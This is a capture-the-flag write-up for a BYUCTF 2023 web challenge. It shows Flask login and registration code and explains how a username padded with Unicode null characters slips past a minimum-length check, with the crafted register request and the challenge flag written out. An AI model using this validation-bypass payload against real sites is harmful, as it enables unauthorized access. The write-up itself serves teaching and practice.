- Published on
BYUCTF 2023 – urmombotnetdotnet - 4
- Authors
- Name
- Lumy
urmombotnetdotnet - 4 (483 points)
During my databases class, my group and I decided we'd create a web app with the domain urmombotnetdotnet.com, and wrote the relevant code. At first glance, it looks pretty good! I'd say we were pretty thorough. But were we thorough enough??
Oh... we also forgot to make the front end :)
Table of Contents
Source code
# POST login
@app.route('/api/login', methods=['POST'])
def post_login():
# ensure needed parameters are present
if (request.json is None) or ('username' not in request.json) or ('password' not in request.json):
return jsonify({'message': 'Missing required parameters'}), 400
username = request.json['username']
password = request.json['password']
# ensure parameters are strings
if type(username) is not str or type(password) is not str:
return jsonify({'message': 'Invalid parameter data'}), 400
# ensure password is valid
if len(password) < 12 or len(password) > 255:
return jsonify({'message': 'Password doesn\'t fit length requirements'}), 400
# check if username exists
cur = mysql.connection.cursor()
cur.execute("SELECT user_id,password,blocked FROM User WHERE username=%s", (username,))
users_found = cur.rowcount
response = cur.fetchone()
cur.close()
exists = (users_found > 0)
if not exists:
return jsonify({'message': 'Invalid username or password'}), 401
user_id = response[0]
hash = response[1]
blocked = response[2]
# check if user is staff
cur = mysql.connection.cursor()
cur.execute("SELECT * FROM Support_Staff WHERE user_id=%s", (user_id,))
staff_found = cur.rowcount
cur.close()
is_staff = (staff_found > 0)
# check if password is correct
if sha256(password.encode()).hexdigest() != hash:
return jsonify({'message': 'Invalid username or password'}), 401
# check if user is blocked
if blocked:
return jsonify({'message': 'User is blocked'}), 401
# generate JWT
token = jwt.encode({'user_id': user_id, "is_staff": is_staff}, app.config['SECRET_KEY'], algorithm='HS256')
resp = make_response(jsonify({'message': 'Successfully logged in', 'flag':('byuctf{fakeflag4}' if len(username) < 4 else 'Nope')}), 200)
resp.set_cookie('token', token, httponly=True, samesite='Strict', max_age=None)
return resp
Solution
As we can see, the flag will be returned if our username length is less than 4 characters. So let’s take a look again at the register part of the code.
# ensure username is valid
if len(username) < 4 or len(username) > 255:
return jsonify({'message': 'Invalid username length'}), 400
# ensure username isn't already taken
cur = mysql.connection.cursor()
cur.execute("SELECT username FROM User WHERE username=%s", (username,))
users_found = cur.rowcount
cur.close()
username_taken = (users_found > 0)
if username_taken:
return jsonify({'message': 'Username already taken'}), 500
As we can see, this time, it look for the lenght limit of the username, we cant make an username of less than 4 characters and maximum 255 characters.
So how can we login as a username of less than 4 characters?
By using Unicode Null characters, we can register an account of less than 4 characters because the Null characters will be ignored.
This mean that \u0000t\u0000i\u0000m will be interpreted as tim.
POST /api/register HTTP/1.1
Host: 127.0.0.1:40010
...
Content-Type: application/json
{
"email":"lumy@lumy.com",
"username":"\u0000t\u0000i\u0000m",
"password":"AwesomePassword",
"bitcoin_wallet":"0xa7ABa709a"
}
Flag : byuctf{I_used_unicode_to_make_a_username_under_4_chars_wbu?}